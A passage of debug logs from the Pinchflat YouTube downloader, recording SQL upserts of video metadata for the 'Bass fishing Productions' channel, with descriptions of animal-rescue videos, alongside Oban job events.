bullfrogs, blue crabs, eels, and even lobsters! Should I make a part 2 saving more animals from dumpsters?\n—\nBusiness email: bassfishermanguy@gmail.com\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nMerch: https://bassfishingproductions.shop\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "I Found Live Animals in a Pet Store Dumpster!", "7b653d78-03c9-49fc-a640-eab087d3f196", "B18LIIpNx8E", false, "https://www.youtube.com/watch?v=B18LIIpNx8E", 33, [], 1645, false, 16, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e013100 - I Found Live Animals in a Pet Store Dumpster!.mkv", false, false, 98, ~U[2025-01-31 15:00:01Z], ~U[2026-06-02 12:29:46Z], ~U[2026-06-02 12:29:46Z], "Support my channel by getting Fishing Clash on your iOS/Android device for free https://fishingclash.link/BassFishingProductions !\nUse my gift code BASSFISHING to get a $20 REWARD, and share your biggest catch in the pinned comment!\n_\n\nJoin Fishing Clash community to stay tuned about the latest news\n_\n\nInstagram -\u00A0\u00A0\u00A0https://www.instagram.com/fishingclash_official\n\u00A0\u00A0\u00A0\u00A0\nFacebook -\u00A0\u00A0\u00A0 https://www.facebook.com/fishingclashcommunity\n_\n\nIn today's video, I find live animals in pet store dumpsters! I started off by exploring a dumpster behind a fish store and immediately I found a box full of fish... luckily they were all still alive so I added them into a bucket and I kept going! I then found another box that was full of more fish, axolotls, crawfish, and eels! After saving all of the fish from the first dumpster I moved onto the next one that was behind a fish store that sells rare fish! I started my search through all of the trash and eventually I found a bunch of live fish including arownas, pufferfish, sturgeon, and albino redtail catfish! After that things got even crazier and I found more bags of man-eating catfish! However all of these fish were running out of oxygen so I quickly added them into a bucket and I moved onto the next dumpster that was behind a saltwater fish store! I started my search through all of the garbage and I managed to find a box full of crazy sea creatures! Inside was some clownfish, shrimp, and mystery fish! But it didn't stop there, right after that I found another box full of moray eels, sea urchins, and starfish! So far we have saved so many fish, but now it was time to explore a reptile store dumpster so who knows what we're gonna find! I jumped in and it didn't take me long to find my first animal which was a leopard gecko... As I kept going I found pacman frogs, tarantulas, crabs, turtles, and even snakes! After saving all of the animals I could, I moved onto the last dumpster of the video which was behind an asian food market! This was by far the grossest dumpster, but after some searching I found a bag full of live shrimp! But that was just the beginning because next I found live bullfrogs, blue crabs, eels, and even lobsters! Should I make a part 2 saving more animals from dumpsters?\n—\nBusiness email: bassfishermanguy@gmail.com\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nMerch: https://bassfishingproductions.shop\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "I Found Live Animals in a Pet Store Dumpster!", "B18LIIpNx8E", "https://www.youtube.com/watch?v=B18LIIpNx8E", 33, 1645, false, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e013100 - I Found Live Animals in a Pet Store Dumpster!.mkv", false, ~U[2025-01-31 15:00:01Z]] 08:29:46.977 [debug] QUERY OK source="sources" db=0.3ms idle=5.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:29:46.978 [debug] QUERY OK source="media_items" db=0.7ms idle=4.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-01-11 13:00:01Z], 33] 08:29:46.983 [debug] QUERY OK source="media_items" db=4.5ms idle=4.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In today’s video, I find the deadliest animals on the dark web and my goal is to buy them to keep as my new pets! I started by converting an abandoned pet store I bought into a crazy animal room filled with all types of enclosures! I then started my search on the dark web and I came across a saltwater fish mystery box that could contain sharks, eels, stingrays, and even octopuses! After a few days the package arrived and it was full of sea creatures including clownfish, seahorses, stonefish, lobsters, and starfish! After adding them into their aquarium I received our next animal off the dark web, which was an alien frog! They are called pipa pipa frogs and they are some of the rarest frogs in the world! I added them into their enclosure and I continued searching the dark web for more crazy animals! The next animal was by far the coolest one so far, it was a 3 foot long land crab! So, I placed the order and I set up the biggest enclosure I could for him! After a couple weeks it finally arrived and it was the biggest crab i’ve ever seen with claws the size of my hand… But this was just the beginning, and we had a lot more deadly animals to go! Next, I ordered the most dangerous snake I could find called an emerald tree boa! These snakes have super long teeth and are known for being super aggressive! After almost getting bit I got him into his enclosure, and I moved onto the next animal! Now while the snake was scary this next animal was even scarier! It was a goliath bird-eater tarantula, the biggest spider in the world! Now so far we haven’t been scammed on the dark web, but that was about to change… The next animal I ordered was a frilled dragon, but sadly it never arrived. I then found the rarest animal so far which was an albino snapping turtle for $3,000! Thankfully it arrived and I was able to add him into his new home… After that I bought dinosaur lizard mystery box, and inside was a caiman lizard, an asian water monitor, and a panther chameleon! I added them all into their own enclosures and I kept searching the dark web! I then came across an elephant trunk snake which is a fully aquatic snake that gets 10ft long! But there was still a ton of empty enclosures that we needed to fill, so I bought an insect mystery box that was filled with the craziest bugs on the planet! We found African giant millipedes, whip scorpions, monster beetles, scorpions, praying mantis, and a deadly vinegaroon that can shoot acid out of its body! However these next animals were the deadliest ones so far… They were poison dart frogs which can kill you if you touch them! So I carefully added them into their new home and I kept searching through the dark web! Next I stumbled upon a website that was selling a mata mata turtle for $800! These are some of the craziest looking turtles in the world so I knew I had to buy it! After weeks of waiting it finally arrived and I was able to put him into his aquarium! Now, there was only 2 more aquariums left to fill so I ordered the craziest animals I could find to put inside of them! In the first box was a baby octopus, one of the smartest creatures in the world! This was by far the coolest animal so far, but we still had more to go! Next was another deadly venomous fish called the scorpion fish! This fish is extremely venomous and is a master of camouflage, I carefully added him into the aquarium but it was still looking pretty empty so I opened up the last package and I found a real life shark inside! It was called a horned shark and only gets 4ft long so it will be the perfect pet shark! All together we bought so many rare and deadly animals, but there was still some empty enclosures so comment below what I should buy next!\n—\nIf I used your video in this video and you want it removed please contact my email so we can sort it out.\n—\nBusiness email: bassfishermanguy@gmail.com\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nMerch: https://bassfishingproductions.shop\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bas" <> ..., "I Found The Deadliest Animals On The Dark Web!", "d4c8c1ab-c3f5-4abd-8d12-088ae674da99", "5z6jFVK60Qw", false, "https://www.youtube.com/watch?v=5z6jFVK60Qw", 33, [], 1942, false, 17, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e011100 - I Found The Deadliest Animals On The Dark Web!.mkv", false, false, 98, ~U[2025-01-11 13:00:01Z], ~U[2026-06-02 12:29:46Z], ~U[2026-06-02 12:29:46Z], "In today’s video, I find the deadliest animals on the dark web and my goal is to buy them to keep as my new pets! I started by converting an abandoned pet store I bought into a crazy animal room filled with all types of enclosures! I then started my search on the dark web and I came across a saltwater fish mystery box that could contain sharks, eels, stingrays, and even octopuses! After a few days the package arrived and it was full of sea creatures including clownfish, seahorses, stonefish, lobsters, and starfish! After adding them into their aquarium I received our next animal off the dark web, which was an alien frog! They are called pipa pipa frogs and they are some of the rarest frogs in the world! I added them into their enclosure and I continued searching the dark web for more crazy animals! The next animal was by far the coolest one so far, it was a 3 foot long land crab! So, I placed the order and I set up the biggest enclosure I could for him! After a couple weeks it finally arrived and it was the biggest crab i’ve ever seen with claws the size of my hand… But this was just the beginning, and we had a lot more deadly animals to go! Next, I ordered the most dangerous snake I could find called an emerald tree boa! These snakes have super long teeth and are known for being super aggressive! After almost getting bit I got him into his enclosure, and I moved onto the next animal! Now while the snake was scary this next animal was even scarier! It was a goliath bird-eater tarantula, the biggest spider in the world! Now so far we haven’t been scammed on the dark web, but that was about to change… The next animal I ordered was a frilled dragon, but sadly it never arrived. I then found the rarest animal so far which was an albino snapping turtle for $3,000! Thankfully it arrived and I was able to add him into his new home… After that I bought dinosaur lizard mystery box, and inside was a caiman lizard, an asian water monitor, and a panther chameleon! I added them all into their own enclosures and I kept searching the dark web! I then came across an elephant trunk snake which is a fully aquatic snake that gets 10ft long! But there was still a ton of empty enclosures that we needed to fill, so I bought an insect mystery box that was filled with the craziest bugs on the planet! We found African giant millipedes, whip scorpions, monster beetles, scorpions, praying mantis, and a deadly vinegaroon that can shoot acid out of its body! However these next animals were the deadliest ones so far… They were poison dart frogs which can kill you if you touch them! So I carefully added them into their new home and I kept searching through the dark web! Next I stumbled upon a website that was selling a mata mata turtle for $800! These are some of the craziest looking turtles in the world (truncated) 08:29:46.984 [debug] QUERY OK source="sources" db=0.5ms idle=8.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:29:46.985 [debug] QUERY OK source="media_items" db=1.0ms idle=7.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-12-14 13:28:27Z], 33] 08:29:46.986 [debug] QUERY OK source="media_items" db=0.7ms idle=8.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In today’s video, I combine all of my videos of finding monsters in 2024 into one giant movie! We found axolotls, sharks, alligators, snakes, deadly fish, and some of the rarest animals in the world in this video… So join me on this adventure as we explore abandoned ponds, sewers, abandoned pools, and even pet stores filled with monsters!\n—\n⏹Subscribe to the vlog channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\n⏹MERCH NOW AVAILABLE: https://bassfishingproductions.shop\n—\n⏹Instagram: https://www.instagram.com/bassfishingproductions/\n\n⏹TikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m\n\n⏹Business email: bassfishermanguy@gmail.com", "Every Pond Monster I’ve Ever Found…", "79b35ea6-de43-4b0e-bdbe-80e476e48128", "gyK4NviOjGA", false, "https://www.youtube.com/watch?v=gyK4NviOjGA", 33, [], 10248, false, 18, "/downloads/shows/Bass fishing Productions/Season 2024/s2024e121400 - Every Pond Monster I’ve Ever Found….mp4", false, false, 98, ~U[2024-12-14 13:28:27Z], ~U[2026-06-02 12:29:46Z], ~U[2026-06-02 12:29:46Z], "In today’s video, I combine all of my videos of finding monsters in 2024 into one giant movie! We found axolotls, sharks, alligators, snakes, deadly fish, and some of the rarest animals in the world in this video… So join me on this adventure as we explore abandoned ponds, sewers, abandoned pools, and even pet stores filled with monsters!\n—\n⏹Subscribe to the vlog channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\n⏹MERCH NOW AVAILABLE: https://bassfishingproductions.shop\n—\n⏹Instagram: https://www.instagram.com/bassfishingproductions/\n\n⏹TikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m\n\n⏹Business email: bassfishermanguy@gmail.com", "Every Pond Monster I’ve Ever Found…", "gyK4NviOjGA", "https://www.youtube.com/watch?v=gyK4NviOjGA", 33, 10248, false, "/downloads/shows/Bass fishing Productions/Season 2024/s2024e121400 - Every Pond Monster I’ve Ever Found….mp4", false, ~U[2024-12-14 13:28:27Z]] 08:29:46.986 [debug] QUERY OK source="sources" db=0.2ms idle=8.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:29:46.987 [debug] QUERY OK source="media_items" db=0.8ms idle=3.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-11-23 13:00:05Z], 33] 08:29:46.989 [debug] QUERY OK source="media_items" db=1.0ms idle=3.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In today’s video, I find an abandoned axolotl farm that is filled with axolotls, fish, turtles, frogs, and much more that were left here to die! So, my mission is to explore the entire farm to hopefully save all the animals! I started by netting around in a pond and immediately I caught some axolotls! But as I kept going I ended up finding albino axolotls which are alot\nmore rare! After that I kept netting around and I managed to catch a golden axolotl, one of the rarest in the world! I then came across a pond that was filled with crazy fish, including flowerhorns, lungfish, catfish, pufferfish, eels, freshwater sharks, and much more! But things didn’t stop there, I kept going and I started catching more axolotls, and even some baby turtles! But sadly, what I found next was a shattered fish tank filled with dead fish and axolotls… So now we have to hurry because these animals don’t have a lot of time left! I kept exploring and I managed to catch some angelfish, betta fish, and a monster albino axolotl! Things were starting to get crazy and I found a pond loaded with colorful crawfish, including orange ones, blue ones, and even white ones! I kept exploring the farm when suddenly I came across some monster fish including an albino lungfish, oscars, arowanas, and much more! But then I came across the deadliest animal so far… It was a mata mata turtle, one of the rarest turtles in the world! After exploring the rest of the farm and catching more axolotls, and albino frogs, it was now time to explore the two massive ponds filled with axolotls! So I places a fish trap in one of them and I started netting around in the other… Immediately I caught some of the biggest axolotls iv ever seen, including black ones, golden ones, and albino ones! But after a while it was now time to check the fish trap and I managed to catch a ton of axolotls, which means we successfully saved all of the animals from the abandoned farm!\n—\n⏹Subscribe to the vlog channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\n⏹MERCH NOW AVAILABLE: https://bassfishingproductions.shop\n—\n⏹Instagram: https://www.instagram.com/bassfishingproductions/\n\n⏹TikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m\n\n⏹Business email: bassfishermanguy@gmail.com", "I Found an Abandoned Axolotl Farm", "4cc30a81-a727-49d3-af62-46578ce35bbd", "RiS0pgYsKdg", false, "https://www.youtube.com/watch?v=RiS0pgYsKdg", 33, [], 1540, false, 19, "/downloads/shows/Bass fishing Productions/Season 2024/s2024e112300 - I Found an Abandoned Axolotl Farm.mkv", false, false, 98, ~U[2024-11-23 13:00:05Z], ~U[2026-06-02 12:29:46Z], ~U[2026-06-02 12:29:46Z], "In today’s video, I find an abandoned axolotl farm that is filled with axolotls, fish, turtles, frogs, and much more that were left here to die! So, my mission is to explore the entire farm to hopefully save all the animals! I started by netting around in a pond and immediately I caught some axolotls! But as I kept going I ended up finding albino axolotls which are alot\nmore rare! After that I kept netting around and I managed to catch a golden axolotl, one of the rarest in the world! I then came across a pond that was filled with crazy fish, including flowerhorns, lungfish, catfish, pufferfish, eels, freshwater sharks, and much more! But things didn’t stop there, I kept going and I started catching more axolotls, and even some baby turtles! But sadly, what I found next was a shattered fish tank filled with dead fish and axolotls… So now we have to hurry because these animals don’t have a lot of time left! I kept exploring and I managed to catch some angelfish, betta fish, and a monster albino axolotl! Things were starting to get crazy and I found a pond loaded with colorful crawfish, including orange ones, blue ones, and even white ones! I kept exploring the farm when suddenly I came across some monster fish including an albino lungfish, oscars, arowanas, and much more! But then I came across the deadliest animal so far… It was a mata mata turtle, one of the rarest turtles in the world! After exploring the rest of the farm and catching more axolotls, and albino frogs, it was now time to explore the two massive ponds filled with axolotls! So I places a fish trap in one of them and I started netting around in the other… Immediately I caught some of the biggest axolotls iv ever seen, including black ones, golden ones, and albino ones! But after a while it was now time to check the fish trap and I managed to catch a ton of axolotls, which means we successfully saved all of the animals from the abandoned farm!\n—\n⏹Subscribe to the vlog channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\n⏹MERCH NOW AVAILABLE: https://bassfishingproductions.shop\n—\n⏹Instagram: https://www.instagram.com/bassfishingproductions/\n\n⏹TikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m\n\n⏹Business email: bassfishermanguy@gmail.com", "I Found an Abandoned Axolotl Farm", "RiS0pgYsKdg", "https://www.youtube.com/watch?v=RiS0pgYsKdg", 33, 1540, false, "/downloads/shows/Bass fishing Productions/Season 2024/s2024e112300 - I Found an Abandoned Axolotl Farm.mkv", false, ~U[2024-11-23 13:00:05Z]] 08:29:46.989 [debug] QUERY OK source="sources" db=0.2ms idle=4.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:29:46.990 [debug] QUERY OK source="media_items" db=0.9ms idle=3.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-11-09 13:00:02Z], 33] 08:29:46.992 [debug] QUERY OK source="media_items" db=1.0ms idle=4.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In todays video I catch the monster that has been attacking fish in an abandoned pond! It all started after finding a bunch of dead fish, so I started exploring the pond to try to find out what's causing this so I can catch it out and remove it! But it's not gonna be easy because the pond is infested with alligators, snakes, giant turtles, and deadly fish! I started out by netting around and immediately I caught rare catfish, eels, baby turtles, frogs, and a ton of mysterious alien fish! I kept going and managed to catch out the first monster, which was a giant snake! As I kept going I realized that this pond was full of a ton of crazy fish and I would need to catch them all out in order to save them... After a few more nets I caught venomous lionfish, mudskippers, salamanders, and a bunch more fish! But then I came across yet another snake which I was able to catch out and remove! I kept going and I started catching a ton of monster fish including piranhas, bichirs, pufferfish, sturgeon, freshwater dolphins, and ! After that I made a shocking discovery when I caught an abba abba knife fish which is one of the deadliest fish in the world! But then I realized if I want to find out what the monster is I would need to get in the pond, so I jumped in and immediately I caught giant freshwater sharks, redtail catfish, and even another abba abba knife fish! As I kept going deeper into the pond, something big attacked me which ended up being a monster soft-shell turtle! After removing it I was almost positive I caught out the monster that has been eating all of the fish, but as I got back in the pond I spotted an alligator! I quickly got out of the pond and I then decided to place a couple fish traps to hopefully save the rest of the fish and remove the monster! After letting them soak overnight, it was time to check the traps and they were loaded with fish! It was now time to check the biggest fish trap and I finally ended up catching the alligator which I relocated to a nearby creek! If you want me to come back to save the rest of the fish leave a like!\n—\n⏹Subscribe to the vlog channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\n⏹MERCH NOW AVAILABLE: https://bassfishingproductions.shop\n—\n⏹Instagram: https://www.instagram.com/bassfishingproductions/\n\n⏹TikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m\n\n⏹Business email: bassfishermanguy@gmail.com", "I Found an Alligator in an Abandoned Pond!", "529caf5e-9821-489e-bdfb-864c65e678c1", "93-bWHzVNPc", false, "https://www.youtube.com/watch?v=93-bWHzVNPc", 33, [], 1657, false, 20, "/downloads/shows/Bass fishing Productions/Season 2024/s2024e110900 - I Found an Alligator in an Abandoned Pond!.mkv", false, false, 98, ~U[2024-11-09 13:00:02Z], ~U[2026-06-02 12:29:46Z], ~U[2026-06-02 12:29:46Z], "In todays video I catch the monster that has been attacking fish in an abandoned pond! It all started after finding a bunch of dead fish, so I started exploring the pond to try to find out what's causing this so I can catch it out and remove it! But it's not gonna be easy because the pond is infested with alligators, snakes, giant turtles, and deadly fish! I started out by netting around and immediately I caught rare catfish, eels, baby turtles, frogs, and a ton of mysterious alien fish! I kept going and managed to catch out the first monster, which was a giant snake! As I kept going I realized that this pond was full of a ton of crazy fish and I would need to catch them all out in order to save them... After a few more nets I caught venomous lionfish, mudskippers, salamanders, and a bunch more fish! But then I came across yet another snake which I was able to catch out and remove! I kept going and I started catching a ton of monster fish including piranhas, bichirs, pufferfish, sturgeon, freshwater dolphins, and ! After that I made a shocking discovery when I caught an abba abba knife fish which is one of the deadliest fish in the world! But then I realized if I want to find out what the monster is I would need to get in the pond, so I jumped in and immediately I caught giant freshwater sharks, redtail catfish, and even another abba abba knife fish! As I kept going deeper into the pond, something big attacked me which ended up being a monster soft-shell turtle! After removing it I was almost positive I caught out the monster that has been eating all of the fish, but as I got back in the pond I spotted an alligator! I quickly got out of the pond and I then decided to place a couple fish traps to hopefully save the rest of the fish and remove the monster! After letting them soak overnight, it was time to check the traps and they were loaded with fish! It was now time to check the biggest fish trap and I finally ended up catching the alligator which I relocated to a nearby creek! If you want me to come back to save the rest of the fish leave a like!\n—\n⏹Subscribe to the vlog channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\n⏹MERCH NOW AVAILABLE: https://bassfishingproductions.shop\n—\n⏹Instagram: https://www.instagram.com/bassfishingproductions/\n\n⏹TikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m\n\n⏹Business email: bassfishermanguy@gmail.com", "I Found an Alligator in an Abandoned Pond!", "93-bWHzVNPc", "https://www.youtube.com/watch?v=93-bWHzVNPc", 33, 1657, false, "/downloads/shows/Bass fishing Productions/Season 2024/s2024e110900 - I Found an Alligator in an Abandoned Pond!.mkv", false, ~U[2024-11-09 13:00:02Z]] 08:29:46.992 [debug] QUERY OK source="sources" db=0.2ms idle=4.6ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-06-02 12:29:46Z], ~U[2026-06-02 12:29:46Z], 33] 08:29:46.994 [debug] QUERY OK source="media_items" db=0.9ms idle=3.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [33] 08:29:46.995 [debug] QUERY OK source="media_items" db=0.8ms idle=4.2ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [33] 08:29:46.995 [debug] QUERY OK source="media_items" db=0.2ms idle=4.2ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [33] 08:29:46.996 [debug] QUERY OK source="tasks" db=0.1ms idle=2.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [7258, 33, ~U[2026-06-02 12:29:46Z], ~U[2026-06-02 12:29:46Z]] 08:29:46.996 [info] {"args":{"id":33},"id":7241,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":47774643,"event":"job:stop","queue_time":201280,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 08:29:52.103 [info] {"source":"oban","duration":1653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:30:00.026 [info] {"source":"oban","duration":353,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:30:22.105 [info] {"source":"oban","duration":879,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:30:52.108 [info] {"source":"oban","duration":1742,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:31:00.028 [info] {"source":"oban","duration":405,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:31:22.110 [info] {"source":"oban","duration":552,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:31:52.112 [info] {"source":"oban","duration":1684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 